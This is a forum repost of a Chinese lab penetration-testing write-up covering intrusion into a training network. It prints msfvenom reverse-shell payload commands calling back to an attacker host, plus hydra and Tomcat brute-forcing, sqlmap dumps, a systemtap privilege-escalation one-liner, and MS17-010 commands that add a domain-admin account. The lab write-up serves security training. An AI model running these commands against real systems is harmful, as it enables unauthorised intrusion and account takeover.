搜索

[16129] 2020-11-24_记一次糟心的内网靶场实战

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-11-24_记一次糟心的内网靶场实战 记 一 次 糟 心 的 内 网 靶 场 实 战 S w e e t m e l o n   F r e e B u f   2 0 2 0 - 1 1 - 2 4 一 开 始 的 时 候 对 整 个 内 网 的 拓 扑 结 构 还 不 熟 ， 所 以 做 的 时 候 有 很 多 方 法 都 没 有 想 到 去 用 , 大 家 多 多 指 教 。 一 、 环 境 准 备 一 、 环 境 准 备 用 网 线 连 接 交 换 机 配 置 W i n o d w s s 攻 击 机 I P 为 1 7 2 . 1 6 . 6 . 2 0 3 攻 击 机 K a l i   I P 为 1 7 2 . 1 6 . 6 . 2 0 2 主 机 I P 为 1 7 2 . 1 6 . 6 . 2 0 1 网 关 为 1 7 2 . 1 6 . 6 . 1 子 网 掩 码 2 5 5 . 2 5 5 . 2 5 5 . 0 目 标 I P   1 7 2 . 1 6 . 6 . 1 0 二 、 渗 透 具 体 流 程 二 、 渗 透 具 体 流 程 总 览 拓 扑 图 总 览 拓 扑 图 一 开 始 以 为 1 9 2 . 1 6 8 . 6 . 2 0 0 ， 一 台 普 通 的 双 网 卡 主 机 ， 没 有 发 现 是 防 火 墙 ， 所 以 1 0 . 1 . 1 . 0 网 段 的 主 机 拓 扑 不 够 清 晰 ， 后 来 老 师 讲 了 才 知 道 ， 防 火 墙 做 了 端 口 映 射 。 E 主 机 的 4 4 5 端 口 映 射 到 防 火 墙 4 4 5 端 口 ， F 主 机 的 3 3 8 9 端 口 映 射 到 防 火 墙 的 3 3 8 9 端 口 。 攻 击 目 标 攻 击 目 标 1 7 2 . 1 6 . 6 . 1 0 1 、 菜 刀 连 接 、 菜 刀 连 接 访 问 主 页 。 发 现 伪 协 议 注 入 点 。 h t t p : / / 1 7 2 . 1 6 . 6 . 1 0 / i n d e x . p h p ? p a g e = p h p : / / i n p u t 使 用 菜 刀 连 接 ， 菜 刀 版 本 需 2 0 2 0 年 的 版 本 。
2 、 生 成 并 上 传 木 马 且 回 连 、 生 成 并 上 传 木 马 且 回 连 m e t e r p r e t e r 查 看 p h p i n f o 目 标 主 机 为 L i n u x 系 统 的 主 机 。 M s f 生 成 木 马 m s f v e n o m   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 7 2 . 1 6 . 6 . 1 4 7   L P O R T = 2 3 3 7   - f   e l f   - a   x 8 6   — p l a t f o r m   l i n u x   - o   / h o m e / h u l a . e l f 并 u s e   e x p l o i t / m u l t i / h a n d l e 模 块 监 听 木 马 回 连 情 况 。 将 木 马 通 过 菜 刀 上 传 木 马 ， 赋 予 运 行 权 限 ， 然 后 执 行 。 发 现 回 连 到 m e t e r p r e t e r 。 3 、 内 网 信 息 收 集 （ 同 时 添 加 路 由 并 建 立 、 内 网 信 息 收 集 （ 同 时 添 加 路 由 并 建 立 s o c k s 代 理 ） 代 理 ） i p c o n f i g 查 看 网 卡 信 息 ， 发 现 有 两 个 网 段 的 I P ， 分 别 为 1 7 2 . 1 6 . 6 . 1 0 和 1 9 2 . 1 6 8 . 6 . 1 0 。 自 动 添 加 路 由 r u n   p o s t / m u l t i / m a n a g e / a u t o r o u t e 。 添 加 路 由 与 代 理 ： u s e   a u x i l i a r y / s e r v e r / s o c k s 4 a s h o w   o p t i o n s s e t   s r v h o s t   1 7 2 . 1 6 . 6 . 1 4 7 s e t   s r v p o r t   1 0 8 0 使 用 p o r t s c a n 模 块 进 行 端 口 扫 描 s e a r c h   p o r t s c a n s e t   r h o s t s   1 9 2 . 1 6 8 . 6 . 0 / 2 4 。
i p c o n f i g 查 看 网 卡 信 息 ， 发 现 有 两 个 网 段 的 I P ， 分 别 为 1 7 2 . 1 6 . 6 . 1 0 和 1 9 2 . 1 6 8 . 6 . 1 0 给 m s f 添 加 1 9 2 . 1 6 8 . 6 . 1 0 段 的 路 由 ， r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 6 . 0 / 2 4 添 加 代 理 ： u s e   a u x i l i a r y / s e r v e r / s o c k s 4 a s h o w   o p t i o n s s r v h o s t 设 为 本 机 s r v p o r t 默 认 1 0 8 0 可 以 看 到 扫 描 出 1 5 、 1 6 、 1 7 、 2 0 0 四 台 主 机 ， 端 口 开 放 情 况 为 1 9 2 . 1 6 8 . 6 . 1 5   2 1 / 2 2 1 9 2 . 1 6 8 . 6 . 1 6   2 2 / 8 0 / 3 3 0 6 / 8 0 8 0 1 9 2 . 1 6 8 . 6 . 1 7   2 2 / 8 0 / 3 3 0 6 1 9 2 . 1 6 8 . 6 . 2 0 0   8 0 / 1 3 5 / 4 4 5 / 3 3 8 9 4 、 尝 试 本 机 提 权 、 尝 试 本 机 提 权 用 一 句 话 提 权 p r i n t f   “ i n s t a l l   u p r o b e s   / b i n / s h ”   >   e x p l o i t . c o n f ;   M O D P R O B E _ O P T I O N S = ” - C   e x p l o i t . c o n f ”   s t a p r u n   - u   w h a t e v e r e x p l o i t . c o n f ”   s t a p r u n   - u   w h a t e v e r >   e x p l o i t . c o n f ;   M O D P R O B E _ O P T I O N S = ” - C 攻 击 目 标 攻 击 目 标 1 9 2 . 1 6 8 . 6 . 1 5 1 、 、 h y d r a 爆 破 爆 破 f t p 账 号 账 号 因 为 目 标 机 开 放 了 2 1 端 口 ， 用 h y d r a 爆 破 f t p 弱 密 码 。 p r o x y c h a i n s   h y d r a   - L   / u s r / w o r d l i s t s / 字 典 / U s e r n a m e s / t o p _ s h o r t l i s t . t x t   - P   / u s r / w o r d l i s t s / r o c k y o u . t x t   - f   - t   5 0   - v V
s s h : / / 1 9 2 . 1 6 8 . 6 . 1 5   - o   . / s s h . l o g 爆 破 出 账 号 为 a d m i n ， 密 码 为 1 2 3 4 5 6 2 、 登 录 、 登 录 f t p 服 务 服 务 p r o x y c h a i n s   f t p   1 9 2 . 1 6 8 . 6 . 1 5 ， 登 陆 后 用 d i r 命 令 发 现 报 错 使 用 x s h e l l 连 接 ， 发 现 可 以 连 接 。 攻 击 目 标 攻 击 目 标 1 9 2 . 1 6 8 . 6 . 1 6 1 、 发 现 、 发 现 t o m c a t 由 于 目 标 主 机 开 发 了 8 0 8 0 端 口 ， 猜 测 有 t o m c a t 漏 洞 。 访 问 网 页 1 9 2 . 1 6 8 . 6 . 1 6 ： 8 0 8 0 发 现 有 t o m c a t 页 面 。 2 、 、 M S F 爆 破 爆 破 t o m c a t 密 码 密 码 下 面 尝 试 利 用 M S F 爆 破 t o m c a t 的 账 号 密 码 ， 利 用 a u x i l i a r y / s c a n n e r / h t t p / t o m c a t _ m g r _ l o g i n 模 块 ， 除 了 设 置 目 标 I P ， 用 户 名 字 典 ， 密 码 字 典 外 ， 再 设 置 s t o p _ o n _ s u c c e s s 为 t r u e ， 意 思 是 b a o p o c h e n 成 功 后 停 止 。 默 认 管 理 后 台 路 径 为 m a n a g e r / h t m l ， 也 不 用 改 ， 端 口 也 不 用 改 。 成 功 爆 破 得 到 账 号 密 码 为 t o m c a t / t o m c a t 3 、 继 续 攻 击 取 得 、 继 续 攻 击 取 得 s h e l l 使 用 m s f 中 u p l o a d 、 d e p l o y 两 个 模 块 的 t o m c a t 漏 洞 发 现 无 法 绑 定 I P 和 端 口 。
使 用 m s f 生 成 w a r 木 马 文 件 。 然 后 使 用 监 听 模 块 监 听 木 马 回 连 情 况 。 m s f v e n o m   - p   j a v a / m e t e r p r e t e r / r e v e r s e   _ t c p   L H O S T = 1 9 2 . 1 6 8 . 6 . 1 0   L P O R T = 2 0 0 0 3   - f   w a r   >   l m x 3 . w a r 在 下 面 的 页 面 上 传 w a r 木 马 文 件 。 在 网 页 上 查 看 自 己 的 木 马 ， 返 回 m s f 发 现 已 返 回 m e t e r p r e t e r 攻 击 目 标 攻 击 目 标 1 9 2 . 1 6 8 . 6 . 1 7 1 、 、 S Q L 注 入 进 后 台 注 入 进 后 台 访 问 该 站 点 。 k a l i 下 敏 感 目 录 扫 描 工 具 N i k t o 使 用 ： 攻 击 机 ： 1 7 2 . 1 6 . 6 . 1 4 7 （ k a l i   l i n u x ） 、 靶 机 ： 1 9 2 . 1 6 8 . 6 . 1 7   (   M e t a s p l o i t a b l e 2 - L i n u x ) 、 使 用 N i k t o   进 行 敏 感 目 录 扫 描 、 参 数 解 析 ： - h / - h o s t   指 定 域 名 或 者 I P 、 发 现 这 个 敏 感 目 录 扫 描 不 够 强 大 。
发 现 s q l 注 入 点 h t t p : / / 1 9 2 . 1 6 8 . 6 . 1 7 / m e s s a g e . p h p ? i d = 用 手 工 简 单 的 测 试 了 下 ： h t t p : / / 1 9 2 . 1 6 8 . 6 . 1 7 / m e s s a g e . p h p ? i d = 1   页 面 正 常 h t t p : / / 1 9 2 . 1 6 8 . 6 . 1 7 / m e s s a g e . p h p ? i d = 1   o r d e r   b y   1 页 面 正 常 h t t p : / / 1 9 2 . 1 6 8 . 6 . 1 7 / m e s s a g e . p h p ? i d = 1   o r d e r   b y   1 0 0 页 面 不 正 常 所 以 存 在 注 入 漏 洞 s q l m a p 跑 出 数 据 库 的 密 码 p r o x y c h a i n s   s q l m a p   - r   / h o m e / 1 7 t o u . t x t   — b a t c h   – d b s p r o x y c h a i n s   s q l m a p   - r   / h o m e / 1 7 t o u . t x t   — b a t c h   — d b s   - T   a d m i n   – d u m p 最 后 爆 出 账 号 是 a d m i n , 密 码 是 x x x x x x x ， 使 用 m d 5 解 密 利 用 账 号 密 码 成 功 登 录 1 9 2 . 1 6 8 . 6 . 1 7 的 后 台
2 、 、 M S F 生 成 生 成 p h p 木 马 反 弹 木 马 反 弹 m e t e r p r e t e r 浏 览 页 面 ， 发 现 有 一 个 文 件 上 传 的 注 入 点 。 上 传 木 马 ， f 1 2 发 现 木 马 上 传 的 位 置 与 命 名 。 h t t p : / / 1 9 2 . 1 6 8 . 6 . 1 7 / u p l o a d / i m a g e s / 2 0 2 0 1 0 2 2 1 2 3 0 4 4 . p h p 在 w i n 1 0 上 安 装 s o c k s c a p ， 管 理 员 身 份 运 行 ， 代 理 设 置 k a l i 的 I P 地 址 ， 端 口 1 0 8 0 。 在 s o c k s c a p 上 添 加 菜 刀 程 序 。 使 用 菜 刀 连 接 木 马 。
2 、 、 M S F 生 成 生 成 p h p 木 马 反 弹 木 马 反 弹 m e t e r p r e t e r 通 过 菜 刀 连 接 ， 发 现 目 标 主 机 为 L i n u x 系 统 。 用 M S F 生 成 的 反 弹 木 马 ， 然 后 起 监 听 。 m s f v e n o m   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 6 . 1 0   L P O R T = 2 3 3 9   - f   e l f   - a   x 8 6   — p l a t f o r m   l i n u x   - o / h o m e / b i u . e l f 通 过 菜 刀 上 传 到 目 标 主 机 ， 赋 予 权 限 ， 然 后 运 行 。 发 现 不 能 弹 回 m e t e r p r e t e r 。 攻 击 目 标 攻 击 目 标 1 9 2 . 1 6 8 . 6 . 2 0 0 1 、 尝 试 访 问 、 尝 试 访 问 w e b 服 务 服 务 因 为 发 现 目 标 开 放 了 8 0 ， 所 以 访 问 下 w e b 站 点 在 k a l i 自 带 的 火 狐 浏 览 器 中 设 置 s o c k s 代 理 ， 访 问 1 9 2 . 1 6 8 . 6 . 2 0 0 , 发 现 页 面 提 示 输 入 账 号 密 码 。 尝 试 了 弱 口 令 的 账 号 密 码 ， 发 现 无 法 人 工 爆 破 。 2 、 永 恒 之 蓝 攻 击 、 永 恒 之 蓝 攻 击 由 于 目 标 开 放 了 4 4 5 端 口 ， 所 以 怀 疑 可 能 存 在 永 恒 之 蓝 漏 洞 。 使 用 m s 1 7 - 0 1 0 的 c o m m a n d 模 块 进 行 攻 击 。 添 加 用 户 ， 并 添 加 至 管 理 员 组 （ 或 者 直 接 修 改 a d m i n i s t r a t o r 管 理 员 密 码 ） 用 命 令 s e t   c o m m a n d   ‘ n e t   g r o u p   “ D o m a i n   A d m i n s ” ‘ 来 查 看 是 否 成 功 添 加 到 域 管 理 员 组 。 3 、 远 程 登 录 、 远 程 登 录 p r o x y c h a i n s   r d e s k t o p   1 9 2 . 1 6 8 . 6 . 2 0 0 查 看 I P 信 息 i p c o n f i g   / a l l ， 发 现 目 标 主 机 在 域 里 面 。 网 关 为 1 0 . 1 . 1 . 1 ， 还 有 一 个 地 址 为 1 0 . 1 . 1 . 2 0 0 ， 以 为 目 标 主 机 位 双 网 卡 ， 但 没 有 发 现 目 标 主 机 的 地 址 1 9 2 . 1 6 8 . 6 . 2 0 0 的 存 在 ， 惊 天 大 怪 事 啊 。 后 来 讲 解 的 时 候 才 知 道 ， 这 里 是 做 了 端 口 映 射 。 s e t   c o m m a n d   ‘ n e t   u s e r   c b r   C b r 1 2 3 4 5 6   / a d d ‘ s e t   c o m m a n d   ‘ n e t   “ D o m a i n   A d m i n s ”   c b r   / a d d   / d o m a i n ’
攻 击 域 成 员 机 攻 击 域 成 员 机 1 0 . 1 . 1 . 2 0 0 1 、 创 建 用 户 并 加 入 到 域 管 理 员 组 、 创 建 用 户 并 加 入 到 域 管 理 员 组 由 于 目 标 开 放 了 4 4 5 端 口 ， 所 以 怀 疑 可 能 存 在 永 恒 之 蓝 漏 洞 。 继 续 用 1 7 0 1 0 执 行 高 权 限 命 令 的 模 块 进 行 攻 击 ： 添 加 用 户 ， 并 添 加 至 管 理 员 组 （ 或 者 直 接 修 改 a d m i n i s t r a t o r 管 理 员 密 码 ） 用 命 令 s e t   c o m m a n d   ‘ n e t   g r o u p   “ D o m a i n   A d m i n s ” ‘ 来 查 看 是 否 成 功 添 加 到 域 管 理 员 组 。 发 现 已 经 成 功 添 加 到 域 管 理 员 组 2 、 用 创 建 的 域 管 理 员 登 录 域 环 境 、 用 创 建 的 域 管 理 员 登 录 域 环 境 远 程 登 录 1 0 . 1 . 1 . 2 0 0 s e t   c o m m a n d   ‘ n e t   u s e r   c b r   C b r 1 2 3 4 5 6   / a d d ‘ s e t   c o m m a n d   ‘ n e t   “ D o m a i n   A d m i n s ”   c b r   / a d d   / d o m a i n ’
使 用 共 享 文 件 p r o x y c h a i n s   r d e s k t o p   1 0 . 1 . 1 . 2 0 0   - r   d i s k : a a = / h o m e 远 程 登 录 a d m i n i s t r a t o r 上 传 木 马 并 运 行 ， 发 现 m e t e r p r e t e r 弹 不 回 来 ， 遂 放 弃 攻 击 域 控 攻 击 域 控 1 0 . 1 . 1 . 1 0 1 、 猜 测 端 口 转 发 、 猜 测 端 口 转 发 以 1 0 . 1 . 1 . 1 0 为 目 标 地 址 ， 使 用 m s f 的 m s 1 7 - 0 1 0 模 块 攻 击 ， 发 现 操 作 并 没 有 在 1 0 . 1 . 1 . 1 0 上 执 行 ， 而 是 在 1 9 2 . 1 6 8 . 6 . 2 0 0 上 执 行 。 猜 测 是 进 行 了 端 口 映 射 。 所 以 将 1 9 2 . 1 6 8 . 6 . 2 0 0 作 为 中 间 机 器 ， 使 用 l c x ， 但 发 现 无 法 实 现 端 口 转 发 。 使 用 x s h e l l 建 立 1 9 2 . 1 6 8 . 6 . 2 0 0 与 1 0 . 1 . 1 . 1 0 之 间 的 隧 道 ， 但 发 、 法 建 立 。 遂 放 弃 。 最 后 通 过 m s 1 7 - 0 1 0 的 c o m m a n d 模 块 可 以 添 加 用 户 ， 但 是 c o m m a n d 后 面 的 指 令 要 加 单 引 号 ， 因 为 是 长 命 令 。 远 程 登 录 1 0 . 1 . 1 . 1 0 精 彩 推 荐 精 彩 推 荐
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理